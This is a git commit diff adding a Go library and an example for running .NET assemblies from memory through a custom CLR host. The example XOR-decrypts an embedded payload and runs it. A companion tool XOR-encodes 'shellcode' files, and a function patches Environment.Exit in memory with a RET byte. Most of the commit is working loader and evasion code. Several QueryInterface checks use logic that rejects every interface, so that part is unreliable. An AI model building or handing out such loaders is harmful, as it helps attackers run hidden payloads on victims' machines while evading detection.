Commited GoodCLRHost and example

This commit is contained in:
Rudeus Greyrat
2025-04-18 14:05:43 -04:00
parent 6176f4aed1
commit b39f490f3e
22 changed files with 1191 additions and 2 deletions
+31
View File
@@ -210,3 +210,34 @@ func (obj *AppDomain) ToString() (domain string, err error) {
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
return
}
// Adding Load_2 Here
func (obj *AppDomain) Load_2(identityString string) (assembly *Assembly, err error) {
BStrIdentityString, err := SysAllocString(identityString)
if err != nil {
return nil, err
}
hr, _, err := syscall.SyscallN(
obj.vtbl.Load_2,
uintptr(unsafe.Pointer(obj)),
uintptr(BStrIdentityString),
uintptr(unsafe.Pointer(&assembly)),
)
//fmt.Println(fmt.Sprintf("the appdomain.Load_2 function HRESULT: 0x%x, %s", hr, err))
if err != syscall.Errno(0) {
if err != syscall.Errno(1150) {
return
}
}
//fmt.Println(fmt.Sprintf("the appdomain.Load_2 function HRESULT: 0x%x, %s", hr, err))
if hr != S_OK {
err = fmt.Errorf("the appdomain.Load_2 function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+36
View File
@@ -0,0 +1,36 @@
//go:build windows
// +build windows
package main
import (
_ "embed"
"fmt"
clr "github.com/almounah/go-buena-clr"
)
//go:embed file.enc
var testNetCipher []byte
func main() {
var params []string
params = []string{"triage"}
var testNet []byte
key := byte(133)
for i := 0; i < len(testNetCipher); i++ {
testNet = append(testNet, testNetCipher[i]^key)
}
// output, _ := LoadBin(testNet, params, "v4.0.30319", true)
pRuntimeHost, identityString, _ := clr.LoadGoodClr("v4.0.30319", testNet)
assembly := clr.Load2Assembly(pRuntimeHost, identityString)
pMethodInfo, _ := assembly.GetEntryPoint()
clr.InvokeAssembly(pMethodInfo, params)
fmt.Println("Done Executing ......................")
var enter string
fmt.Scanln(&enter)
}
+3
View File
@@ -0,0 +1,3 @@
module buenavillage
go 1.23.1
+39
View File
@@ -0,0 +1,39 @@
// Used to do a quick and dirty xor on the file
package main
import (
"flag"
"fmt"
"os"
)
func main() {
key := byte(133)
pShellcodePath := flag.String("file", "", "Path Of the Shellcode")
flag.Parse()
shellcodePath := *pShellcodePath
clearShellcodeByte, err := os.ReadFile(shellcodePath)
if err != nil {
fmt.Println("Error Opening file")
fmt.Println(err.Error())
}
var encryptedShellcode []byte
for i := 0; i < len(clearShellcodeByte); i++ {
encryptedShellcode = append(encryptedShellcode, clearShellcodeByte[i] ^ key )
}
filename := shellcodePath + ".enc"
err = os.WriteFile(filename, encryptedShellcode, 0644)
if err != nil {
fmt.Println("Failed to write file:", err)
return
}
}
-1
View File
@@ -231,7 +231,6 @@ func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
+1 -1
View File
@@ -1,4 +1,4 @@
module github.com/Ne0nd0g/go-clr
module github.com/almounah/go-buena-clr
go 1.13
+172
View File
@@ -0,0 +1,172 @@
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func LoadGoodClr(runtime string, NetBytes []byte) (*ICORRuntimeHost, []uint16, error) {
var myCustomHost *ICLRRuntimeHost
// Get the Metahost
pMetahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return nil, nil, err
}
// Get Runtime Info from the Metahost
pRuntimeInfo, err := GetRuntimeInfo(pMetahost, runtime)
if err != nil {
return nil, nil, err
}
// Get the ICLRRuntimeHost and store it in MyCustomHost
err = pRuntimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&myCustomHost))
if err != nil {
return nil, nil, err
}
var pIdentityManagerProc uintptr
var pIdentityManager *ICLRAssemblyIdentityManager
res, _ := windows.BytePtrFromString("GetCLRIdentityManager")
syscall.SyscallN(pRuntimeInfo.vtbl.GetProcAddress, uintptr(unsafe.Pointer(pRuntimeInfo)), uintptr(unsafe.Pointer(res)), uintptr(unsafe.Pointer(&pIdentityManagerProc)))
syscall.SyscallN(pIdentityManagerProc, uintptr(unsafe.Pointer(&IID_ICLRAssemblyIdentityManager)), uintptr(unsafe.Pointer(&pIdentityManager)))
// Load Assembly
assemblyStream := SHCreateMemStream(&NetBytes[0], uint32(len(NetBytes)))
identityBuffer := make([]uint16, 4096)
identityBufferSize := uint32(4096)
syscall.SyscallN(pIdentityManager.VTable.GetBindingIdentityFromStream, uintptr(unsafe.Pointer(pIdentityManager)), uintptr(unsafe.Pointer(assemblyStream)), uintptr(0), uintptr(unsafe.Pointer(&identityBuffer[0])), uintptr(unsafe.Pointer(&identityBufferSize)))
// Create a Target Assembly and bind it to our Host
var tgtAssembly *TargetAssembly = &TargetAssembly{}
pG, _ := syscall.UTF16PtrFromString(syscall.UTF16ToString(identityBuffer))
tgtAssembly.AssemblyInfo = pG
tgtAssembly.AssemblyBytes = &NetBytes[0]
tgtAssembly.AssemblySize = uint32(len(NetBytes))
// Create Memory Manager
// memManger := GetMemoryManager()
// Initialise our custom IHOSTControl
var customHostControl MyHostControl
customHostControl = GetNewCustomIHostControl()
customHostControl.TargAssembly = tgtAssembly
//customHostControl.MemoryManager = memManger
// Check Identity Manager That we will Use Later
syscall.SyscallN(myCustomHost.vtbl.SetHostControl, uintptr(unsafe.Pointer(myCustomHost)), uintptr(unsafe.Pointer(&customHostControl)))
fmt.Println("[+] Set Custom Host Successfully")
myCustomHost.Start()
fmt.Println("[+] Started CLR Succesfully")
var runtimeHost *ICORRuntimeHost
err = pRuntimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
return runtimeHost, identityBuffer, nil
}
func Load2Assembly(runtimeHost *ICORRuntimeHost, identityString []uint16) (*Assembly){
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
return nil
}
// Patchin System Exit If you want to patch System Exit
//PatchSysExit(appDomain)
var assembly *Assembly
s := windows.UTF16ToString(identityString)
assembly, _ = appDomain.Load_2(s)
return assembly
}
// Because Why not ...
func PatchSysExit(appDomain *AppDomain) {
mscorlib, err := appDomain.Load_2("mscorlib, Version=4.0.0.0")
if err != nil {
fmt.Println("Error Returning ", err)
}
// Get The Exit Class
var exitClass *SystemType
s1, _ := SysAllocString("System.Environment")
syscall.SyscallN(mscorlib.vtbl.GetType_2, uintptr(unsafe.Pointer(mscorlib)), uintptr(s1), uintptr(unsafe.Pointer(&exitClass)))
// Get The Exit Method
var exitInfo *MethodInfo
s2, _ := SysAllocString("Exit")
exitFlags := 16 | 8
syscall.SyscallN(exitClass.vtbl.GetMethod_2, uintptr(unsafe.Pointer(exitClass)), uintptr(s2), uintptr(exitFlags), uintptr(unsafe.Pointer(&exitInfo)))
// Getting methodInfoClass
var methodInfoClass *SystemType
s3, _ := SysAllocString("System.Reflection.MethodInfo")
syscall.SyscallN(mscorlib.vtbl.GetType_2, uintptr(unsafe.Pointer(mscorlib)), uintptr(s3), uintptr(unsafe.Pointer(&methodInfoClass)))
// Get Property Info
var methodHandleProp *PropertyInfo
s4, _ := SysAllocString("MethodHandle")
methodHandleFlags := 4 | 16
syscall.SyscallN(methodInfoClass.vtbl.GetProperty, uintptr(unsafe.Pointer(methodInfoClass)), uintptr(s4), uintptr(methodHandleFlags), uintptr(unsafe.Pointer(&methodHandleProp)))
// Some Stuff With Variant
var methodHandlePtr Variant
methodHandlePtr.VT = 13
methodHandlePtr.Val = uintptr(unsafe.Pointer(exitInfo))
methodHandleArgs, err := SafeArrayCreate(0, 0, nil)
if err != nil {
fmt.Println("Suspicious correct")
}
methodHandleVal := Variant{}
syscall.SyscallN(methodHandleProp.Vtlb.GetValue, uintptr(unsafe.Pointer(methodHandleProp)), uintptr(unsafe.Pointer(&methodHandlePtr)), uintptr(unsafe.Pointer(methodHandleArgs)), uintptr(unsafe.Pointer(&methodHandleVal)))
// Get GetFunctionPointer function
var rtMethodHandleType *SystemType
s5, _ := SysAllocString("System.RuntimeMethodHandle")
syscall.SyscallN(mscorlib.vtbl.GetType_2, uintptr(unsafe.Pointer(mscorlib)), uintptr(s5), uintptr(unsafe.Pointer(&rtMethodHandleType)))
var getFuncPtrMethodInfo *MethodInfo
s2, _ = SysAllocString("GetFunctionPointer")
getFuncPtrFlags := 4 | 16
syscall.SyscallN(rtMethodHandleType.vtbl.GetMethod_2, uintptr(unsafe.Pointer(rtMethodHandleType)), uintptr(s2), uintptr(getFuncPtrFlags), uintptr(unsafe.Pointer(&getFuncPtrMethodInfo)))
getFuncPtrArgs, err := SafeArrayCreate(0, 0, nil)
if err != nil {
fmt.Println("Suspicious correct")
}
exitPtr := Variant{}
syscall.SyscallN(getFuncPtrMethodInfo.vtbl.Invoke_3, uintptr(unsafe.Pointer(getFuncPtrMethodInfo)), uintptr(unsafe.Pointer(&methodHandleVal)), uintptr(unsafe.Pointer(getFuncPtrArgs)), uintptr(unsafe.Pointer(&exitPtr)))
addr := exitPtr.Val
fmt.Println(exitPtr)
fmt.Println(fmt.Sprintf("Address is %X", exitPtr.Val))
var oldpro uint32
err = windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldpro)
if err != nil {
fmt.Println("Error In VirtualProtect")
fmt.Println(err.Error())
}
patch := []byte{0xC3}
Memcpy(unsafe.Pointer(addr), unsafe.Pointer(&patch[0]), 1)
var oldpro2 uint32
err = windows.VirtualProtect(addr, 1, oldpro, &oldpro2)
if err != nil {
fmt.Println("Error In VirtualProtect")
fmt.Println(err.Error())
}
}
+19
View File
@@ -1,3 +1,4 @@
//go:build windows
// +build windows
package clr
@@ -19,4 +20,22 @@ var (
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
IID_IHostControl = windows.GUID{Data1: 0x02CA073C, Data2: 0x7079, Data3: 0x4860, Data4: [8]byte{0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91}}
IID_IUnknown = windows.GUID{Data1: 0x00000000, Data2: 0x0000, Data3: 0x0000, Data4: [8]byte{0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}}
IID_IHostAssemblyManager = windows.GUID{Data1: 0x613dabd7, Data2: 0x62b2, Data3: 0x493e, Data4: [8]byte{0x9e, 0x65, 0xc1, 0xe3, 0x2a, 0x1e, 0x0c, 0x5e}}
// IID_ICLRAssemblyIdentityManager = windows.GUID{Data1: 0xB8D1F1A0, Data2: 0xD4F1, Data3: 0x4D4F, Data4: [8]byte{0xA4, 0xC1, 0xC3, 0x0F, 0x5F, 0x5D, 0xF3, 0x4C}}
IID_ICLRAssemblyIdentityManager = windows.GUID{ Data1: 0x15f0a9da, Data2 : 0x3ff6, Data3: 0x4393, Data4: [8]byte{0x9d, 0xa9, 0xfd, 0xfd, 0x28, 0x4e, 0x69, 0x72} }
IID_IHostMemoryManager = windows.GUID{Data1: 0x7BC698D1, Data2: 0xF9E3, Data3: 0x4460, Data4: [8]byte{0x9C, 0xDE, 0xD0, 0x42, 0x48, 0xE9, 0xFA, 0x25}}
)
func IsEqualIID(riid1, riid2 *windows.GUID) bool {
if riid1.Data1 != riid2.Data1 ||
riid1.Data2 != riid2.Data2 ||
riid1.Data3 != riid2.Data3 ||
riid1.Data4 != riid2.Data4 {
return false
}
return true
}
+2
View File
@@ -19,4 +19,6 @@ const (
E_POINTER uint32 = 0x80004003
// E_NOINTERFACE No such interface supported
E_NOINTERFACE uint32 = 0x80004002
// Not Implemented
E_NOTIMPL uint32 = 0x80004001
)
+18
View File
@@ -0,0 +1,18 @@
package clr
type ICLRAssemblyIdentityManager struct {
VTable *ICLRAssemblyIdentityManagerVTable
}
type ICLRAssemblyIdentityManagerVTable struct {
QueryInterface uintptr // Correct Order
AddRef uintptr // Correct Order
Release uintptr // Correct Order
GetCLRAssemblyReferenceList uintptr
GetBindingIdentityFromFile uintptr // Correct Order
GetBindingIdentityFromStream uintptr // Correct Order
GetProbingAssembliesFromReference uintptr
GetReferencedAssembliesFromFile uintptr
GetReferencedAssembliesFromStream uintptr
IsStronglyNamed uintptr
}
+14
View File
@@ -0,0 +1,14 @@
package clr
type ICLRAssemblyReferenceList struct {
VTable *ICLRAssemblyReferenceListVTable
}
type ICLRAssemblyReferenceListVTable struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
AddReference uintptr
GetCount uintptr
GetReferenceAt uintptr
}
+78
View File
@@ -0,0 +1,78 @@
package clr
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type MyAssemblyManager struct {
PVtbl *MyAssemblyManager_Vtbl
AssemblyStore *MyAssemblyStore
TargAssemb *TargetAssembly
Count uint32
}
type MyAssemblyManager_Vtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetNonHostStoreAssemblies uintptr
GetAssemblyStore uintptr
}
func MyAssemblyManager_QueryInterface(this *MyHostControl, vTableGUID *windows.GUID, ppv **uintptr) uintptr {
if !IsEqualIID(vTableGUID, &IID_IUnknown) || !IsEqualIID(vTableGUID, &IID_IHostControl) {
*ppv = nil
return uintptr(E_NOINTERFACE)
}
*ppv = (*uintptr)(unsafe.Pointer(this))
// Calling AddRef
syscall.SyscallN(this.PVtbl.AddRef, uintptr(unsafe.Pointer(this)))
return uintptr(S_OK)
}
func MyAssemblyManager_AddRef(this *MyHostControl) uintptr {
this.Count++
return uintptr(this.Count)
}
func MyAssemblyManager_Release(this *MyHostControl) uintptr {
this.Count--
if this.Count == 0 {
GlobalFree(uintptr(unsafe.Pointer(this)))
}
return uintptr(this.Count)
}
func MyAssemblyManager_GetNonHostStoreAssemblies(this *MyAssemblyManager, ppReferenceList **ICLRAssemblyReferenceList ) uintptr {
*ppReferenceList = nil
return S_OK
}
func MyAssemblyManager_GetAssemblyStore(this *MyAssemblyManager, ppAssemblyStore **MyAssemblyStore ) uintptr {
assemblyStore := GetNewCustomAssemblyStore()
assemblyStore.tgAssembly = this.TargAssemb
this.AssemblyStore = &assemblyStore
*ppAssemblyStore = this.AssemblyStore
return S_OK
}
func GetNewCustomAssemblyManager() MyAssemblyManager {
var res MyAssemblyManager
var vtable MyAssemblyManager_Vtbl
vtable.QueryInterface = windows.NewCallback(MyAssemblyManager_QueryInterface)
vtable.AddRef = windows.NewCallback(MyAssemblyManager_AddRef)
vtable.Release = windows.NewCallback(MyAssemblyManager_Release)
vtable.GetNonHostStoreAssemblies = windows.NewCallback(MyAssemblyManager_GetNonHostStoreAssemblies)
vtable.GetAssemblyStore = windows.NewCallback(MyAssemblyManager_GetAssemblyStore)
res.PVtbl = &vtable
return res
}
+98
View File
@@ -0,0 +1,98 @@
package clr
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type IHostAssemblyStore struct {
PVtbl *MyAssemblyStore_Vtbl
}
type MyAssemblyStore struct {
PVtbl *MyAssemblyStore_Vtbl
tgAssembly *TargetAssembly
Count uint32
}
type MyAssemblyStore_Vtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
ProvideAssembly uintptr
ProvideModule uintptr
}
type AssemblyBindInfo struct {
DwAppDomainId uint32
LpReferencedIdentity *uint16
LpPostPolicyIdentity *uint16
EPolicyLevel uint32
}
type ModuleBindInfo struct {
DwAppDomainId uint32
LpReferencedIdentity *uint16
LpModuleName *uint16
}
func MyAssemblyStore_QueryInterface(this *MyHostControl, vTableGUID *windows.GUID, ppv **uintptr) uintptr {
if !IsEqualIID(vTableGUID, &IID_IUnknown) || !IsEqualIID(vTableGUID, &IID_IHostControl) {
*ppv = nil
return uintptr(E_NOINTERFACE)
}
*ppv = (*uintptr)(unsafe.Pointer(this))
// Calling AddRef
syscall.SyscallN(this.PVtbl.AddRef, uintptr(unsafe.Pointer(this)))
return uintptr(S_OK)
}
func MyAssemblyStore_AddRef(this *MyHostControl) uintptr {
this.Count++
return uintptr(this.Count)
}
func MyAssemblyStore_Release(this *MyHostControl) uintptr {
this.Count--
if this.Count == 0 {
GlobalFree(uintptr(unsafe.Pointer(this)))
}
return uintptr(this.Count)
}
func MyAssemblyStore_ProvideAssembly(this *MyAssemblyStore, pBindInfo *AssemblyBindInfo, pAssemblyId *uint64, pContext *uint64, ppStmAssemblyImage **IStream, ppStmPDB **IStream) uintptr {
str1 := windows.UTF16PtrToString(this.tgAssembly.AssemblyInfo)
str2 := windows.UTF16PtrToString(pBindInfo.LpPostPolicyIdentity)
if str1 == str2 {
*pContext = 0
*pAssemblyId = 50000
assemblyStream := SHCreateMemStream(this.tgAssembly.AssemblyBytes, this.tgAssembly.AssemblySize)
*ppStmAssemblyImage = assemblyStream
return S_OK
}
return uintptr(HResultFromWin32(2))
}
func MyAssemblyStore_ProvideModule(this *MyAssemblyStore, pBindInfo *ModuleBindInfo, pAssemblyId *uint64, pContext *uint64, ppStmAssemblyImage **IStream, ppStmPDB **IStream) uintptr {
return uintptr(HResultFromWin32(2))
}
func GetNewCustomAssemblyStore() MyAssemblyStore{
var res MyAssemblyStore
var vtable MyAssemblyStore_Vtbl
vtable.QueryInterface = windows.NewCallback(MyAssemblyStore_QueryInterface)
vtable.AddRef = windows.NewCallback(MyAssemblyStore_AddRef)
vtable.Release = windows.NewCallback(MyAssemblyStore_Release)
vtable.ProvideAssembly = windows.NewCallback(MyAssemblyStore_ProvideAssembly)
vtable.ProvideModule = windows.NewCallback(MyAssemblyStore_ProvideModule)
res.PVtbl = &vtable
return res
}
+97
View File
@@ -0,0 +1,97 @@
package clr
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type MyHostControl struct {
PVtbl *MyHostControl_Vtbl
TargAssembly *TargetAssembly
MemoryManager *MyMemoryManager
Count uint32
}
type IHostControl struct {
PVtbl *MyHostControl_Vtbl
Count uint32
}
type MyHostControl_Vtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetHostManager uintptr
SetAppDomainManager uintptr
}
func MyQueryInterface(this *MyHostControl, vTableGUID *windows.GUID, ppv **uintptr) uintptr {
if !IsEqualIID(vTableGUID, &IID_IUnknown) || !IsEqualIID(vTableGUID, &IID_IHostControl) {
*ppv = nil
return uintptr(E_NOINTERFACE)
}
*ppv = (*uintptr)(unsafe.Pointer(this))
// Calling AddRef
syscall.SyscallN(this.PVtbl.AddRef, uintptr(unsafe.Pointer(this)))
return uintptr(S_OK)
}
func MyAddRef(this *MyHostControl) uintptr {
this.Count++
return uintptr(this.Count)
}
func MyRelease(this *MyHostControl) uintptr {
this.Count--
if this.Count == 0 {
GlobalFree(uintptr(unsafe.Pointer(this)))
}
return uintptr(this.Count)
}
func MySetAppDomainManager(this *MyHostControl, dwAppDomainId uint32, pUnkAppDomainManager *IUnknown) uintptr {
return uintptr(E_NOTIMPL)
}
func MyGetHostManager(this *MyHostControl, riid *windows.GUID, ppObject **uintptr) uintptr {
if IsEqualIID(riid, &IID_IHostMemoryManager) {
*ppObject = (*uintptr)(unsafe.Pointer(this.MemoryManager))
return S_OK
}
if IsEqualIID(riid, &IID_IHostAssemblyManager) {
assemblyManagerObj := GetNewCustomAssemblyManager()
assemblyManager := &assemblyManagerObj
assemblyManager.TargAssemb = this.TargAssembly
assemblyManager.AssemblyStore = nil
*ppObject = (*uintptr)(unsafe.Pointer(assemblyManager))
return S_OK
}
*ppObject = nil
return uintptr(E_NOTIMPL)
}
// Generate a New Custom HostControl
func GetNewCustomIHostControl() MyHostControl {
var vtable MyHostControl_Vtbl
var res MyHostControl
queryInterfaceAddress := windows.NewCallback(MyQueryInterface)
addRefAddress := windows.NewCallback(MyAddRef)
releaseAddress := windows.NewCallback(MyRelease)
setAppDomainManagerAddress := windows.NewCallback(MySetAppDomainManager)
getHostManhetAddrees := windows.NewCallback(MyGetHostManager)
vtable.QueryInterface = queryInterfaceAddress
vtable.AddRef = addRefAddress
vtable.Release = releaseAddress
vtable.SetAppDomainManager = setAppDomainManagerAddress
vtable.GetHostManager = getHostManhetAddrees
res.PVtbl = &vtable
res.Count = 0
return res
}
+109
View File
@@ -0,0 +1,109 @@
package clr
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type SLIST_ENTRY struct {
Next *SLIST_ENTRY
}
type PSLIST_ENTRY *SLIST_ENTRY
type MemAllocEntry struct {
AllocEntry SLIST_ENTRY
Address uintptr
Size uintptr
MemAllocTracker uint32
}
type IHostMalloc struct {
Vtbl *IHostMallocVtbl
Count uint32
HHeap uintptr
MemAllocList *MemAllocEntry
}
type IHostMallocVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
Alloc uintptr
DebugAlloc uintptr
Free uintptr
}
func IHostMalloc_QueryInterface(this *IHostMalloc, vTableGUID *windows.GUID, ppv **uintptr) uintptr {
if !IsEqualIID(vTableGUID, &IID_IUnknown) || !IsEqualIID(vTableGUID, &IID_IHostControl) {
*ppv = nil
return uintptr(E_NOINTERFACE)
}
*ppv = (*uintptr)(unsafe.Pointer(this))
// Calling AddRef
syscall.SyscallN(this.Vtbl.AddRef, uintptr(unsafe.Pointer(this)))
return uintptr(S_OK)
}
func IHostMalloc_AddRef(this *IHostMalloc) uintptr {
this.Count++
return uintptr(this.Count)
}
func IHostMalloc_Release(this *IHostMalloc) uintptr {
this.Count--
if this.Count == 0 {
GlobalFree(uintptr(unsafe.Pointer(this)))
}
return uintptr(this.Count)
}
func IHostMalloc_Alloc(this *IHostMalloc, cbSize uintptr, eCriticalLevel uint32, ppMem **uintptr) uintptr {
kernel32 := windows.NewLazyDLL("kernel32.dll")
procHeapAlloc := kernel32.NewProc("HeapAlloc")
ptr, _, _ := procHeapAlloc.Call(this.HHeap, 0, cbSize)
*ppMem = (*uintptr)(unsafe.Pointer(ptr))
if *ppMem == nil {
return 0x8007000E
}
return S_OK
}
func IHostMalloc_DebugAlloc(this *IHostMalloc, cbSize uintptr, eCriticalLevel uint32, psvFileName *byte, iLineNo int, ppMem **uintptr) uintptr {
kernel32 := windows.NewLazyDLL("kernel32.dll")
procHeapAlloc := kernel32.NewProc("HeapAlloc")
ptr, _, _ := procHeapAlloc.Call(this.HHeap, 0, cbSize)
*ppMem = (*uintptr)(unsafe.Pointer(ptr))
if *ppMem == nil {
return 0x8007000E
}
return S_OK
}
func IHostMalloc_Free(this *IHostMalloc, pMem uintptr) uintptr {
kernel32 := windows.NewLazyDLL("kernel32.dll")
procHeapAlloc := kernel32.NewProc("HeapFree")
procHeapAlloc.Call(this.HHeap, 0, pMem)
return S_OK
}
func GetHostMalloc() *IHostMalloc {
var res IHostMalloc
var resVtbl IHostMallocVtbl
resVtbl.QueryInterface = windows.NewCallback(IHostMalloc_QueryInterface)
resVtbl.AddRef = windows.NewCallback(IHostMalloc_AddRef)
resVtbl.Release = windows.NewCallback(IHostMalloc_Release)
resVtbl.Alloc = windows.NewCallback(IHostMalloc_Alloc)
resVtbl.DebugAlloc = windows.NewCallback(IHostMalloc_DebugAlloc)
resVtbl.Free = windows.NewCallback(IHostMalloc_Free)
res.Vtbl = &resVtbl
return &res
}
+153
View File
@@ -0,0 +1,153 @@
package clr
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type MyMemoryManager struct {
Vtlb *MyMemoryManagerVtbl
Count uint32
MallocManager *IHostMalloc
MemAllocList *MemAllocEntry
}
type MyMemoryManagerVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
CreateMalloc uintptr
VirtualAlloc uintptr
VirtualFree uintptr
VirtualQuery uintptr
VirtualProtect uintptr
GetMemoryLoad uintptr
RegisterMemoryNotificationCallback uintptr
NeedsVirtualAddressSpace uintptr
AcquiredVirtualAddressSpace uintptr
ReleasedVirtualAddressSpace uintptr
}
func MemoryManager_QueryInterface(this *MyMemoryManager, vTableGUID *windows.GUID, ppv **uintptr) uintptr {
if !IsEqualIID(vTableGUID, &IID_IUnknown) || !IsEqualIID(vTableGUID, &IID_IHostControl) {
*ppv = nil
return uintptr(E_NOINTERFACE)
}
*ppv = (*uintptr)(unsafe.Pointer(this))
// Calling AddRef
syscall.SyscallN(this.Vtlb.AddRef, uintptr(unsafe.Pointer(this)))
return uintptr(S_OK)
}
func MemoryManager_AddRef(this *MyMemoryManager) uintptr {
this.Count++
return uintptr(this.Count)
}
func MemoryManager_Release(this *MyMemoryManager) uintptr {
this.Count--
if this.Count == 0 {
GlobalFree(uintptr(unsafe.Pointer(this)))
}
return uintptr(this.Count)
}
func MemoryManager_CreateMalloc(this *MyMemoryManager, dwMallocType uint32, ppMalloc **IHostMalloc) uintptr {
mallocManager := GetHostMalloc()
var hHeap uintptr
if dwMallocType&0x2 != 0 {
hHeap = HeapCreate(0x00040000)
} else {
hHeap = HeapCreate(0)
}
mallocManager.HHeap = hHeap
mallocManager.MemAllocList = this.MemAllocList
*ppMalloc = mallocManager
this.MallocManager = mallocManager
return S_OK
}
func MemoryManager_VirtualAlloc(this *MyMemoryManager, pAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32, eCriticalLevel uint32, ppMem **uintptr) uintptr {
allcAddr, _ := windows.VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect)
*ppMem = (*uintptr)(unsafe.Pointer(allcAddr))
return S_OK
}
func MemoryManager_VirtualFree(this *MyMemoryManager, lpAddress uintptr, dwSize uintptr, dwFreeType uint32) uintptr {
windows.VirtualFree(lpAddress, dwSize, dwFreeType)
return S_OK
}
func MemoryManager_VirtualQuery(this *MyMemoryManager, lpAddress uintptr, lpBuffer *uintptr, dwLength uintptr, pResult *uintptr) uintptr {
r1, _, _ := syscall.SyscallN(windows.NewLazyDLL("kernel32.dll").NewProc("VirtualQuery").Addr(), lpAddress, uintptr(unsafe.Pointer(lpBuffer)), uintptr(dwLength))
*pResult = r1
return S_OK
}
func MemoryManager_VirtualProtect(this *MyMemoryManager, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, pOldProtect *uint32) uintptr {
windows.VirtualProtect(lpAddress, dwSize, flNewProtect, pOldProtect)
return S_OK
}
func MemoryManager_GetMemoryLoad(this *MyMemoryManager, pMemoryLoad *uint32, pAvailableBytes *uintptr) uintptr {
*pMemoryLoad = 30
*pAvailableBytes = 100 * 1024 * 1024
return S_OK
}
func MemoryManager_RegisterMemoryNotificationCallback(this *MyMemoryManager, pCallBack uintptr) uintptr {
return S_OK
}
func MemoryManager_NeedsVirtualAddressSpace(this *MyMemoryManager, startAddress *uintptr, size uintptr) uintptr {
return S_OK
}
func MemoryManager_AcquiredVirtualAddressSpace(this *MyMemoryManager, startAddress uintptr, size uintptr) uintptr {
allocEntry := &MemAllocEntry{}
allocEntry.Address = startAddress
allocEntry.Size = size
allocEntry.MemAllocTracker = 3
(PSLIST_ENTRY)(unsafe.Pointer(allocEntry)).Next = (PSLIST_ENTRY)(unsafe.Pointer(this.MemAllocList)).Next
(PSLIST_ENTRY)(unsafe.Pointer(this.MemAllocList)).Next = (PSLIST_ENTRY)(unsafe.Pointer(allocEntry))
return S_OK
}
func MemoryManager_ReleasedVirtualAddressSpace(this *MyMemoryManager, startAddress *uintptr) uintptr {
return S_OK
}
func GetMemoryManager() *MyMemoryManager{
memoryManager := &MyMemoryManager{}
vtable := &MyMemoryManagerVtbl{}
vtable.QueryInterface = windows.NewCallback(MemoryManager_QueryInterface)
vtable.AddRef = windows.NewCallback(MemoryManager_AddRef)
vtable.Release = windows.NewCallback(MemoryManager_Release)
vtable.VirtualAlloc = windows.NewCallback(MemoryManager_VirtualAlloc)
vtable.VirtualFree = windows.NewCallback(MemoryManager_VirtualFree)
vtable.VirtualQuery = windows.NewCallback(MemoryManager_VirtualQuery)
vtable.NeedsVirtualAddressSpace = windows.NewCallback(MemoryManager_NeedsVirtualAddressSpace)
vtable.AcquiredVirtualAddressSpace = windows.NewCallback(MemoryManager_AcquiredVirtualAddressSpace)
vtable.RegisterMemoryNotificationCallback = windows.NewCallback(MemoryManager_RegisterMemoryNotificationCallback)
vtable.ReleasedVirtualAddressSpace = windows.NewCallback(MemoryManager_ReleasedVirtualAddressSpace)
vtable.CreateMalloc = windows.NewCallback(MemoryManager_CreateMalloc)
memoryManager.Vtlb = vtable
memAllocListHead := &MemAllocEntry{}
(PSLIST_ENTRY)(unsafe.Pointer(memAllocListHead)).Next = nil
memoryManager.MemAllocList = (*MemAllocEntry)(unsafe.Pointer(&memAllocListHead))
return memoryManager
}
+79
View File
@@ -0,0 +1,79 @@
package clr
import (
"syscall"
"unsafe"
)
type IStream struct {
Vtbl *IStreamVtbl
}
type IStreamVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
Read uintptr
Write uintptr
Seek uintptr
SetSize uintptr
CopyTo uintptr
Commit uintptr
Revert uintptr
LockRegion uintptr
UnlockRegion uintptr
Stat uintptr
Clone uintptr
}
// Read reads from the stream into a buffer
func (obj *IStream) Read(buffer []byte) (uint32, error) {
var bytesRead uint32
ret, _, _ := syscall.SyscallN(obj.Vtbl.Read,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&buffer[0])),
uintptr(len(buffer)),
uintptr(unsafe.Pointer(&bytesRead)))
if ret != 0 {
return 0, syscall.Errno(ret)
}
return bytesRead, nil
}
// Write writes to the stream
func (obj *IStream) Write(buffer []byte) (uint32, error) {
var bytesWritten uint32
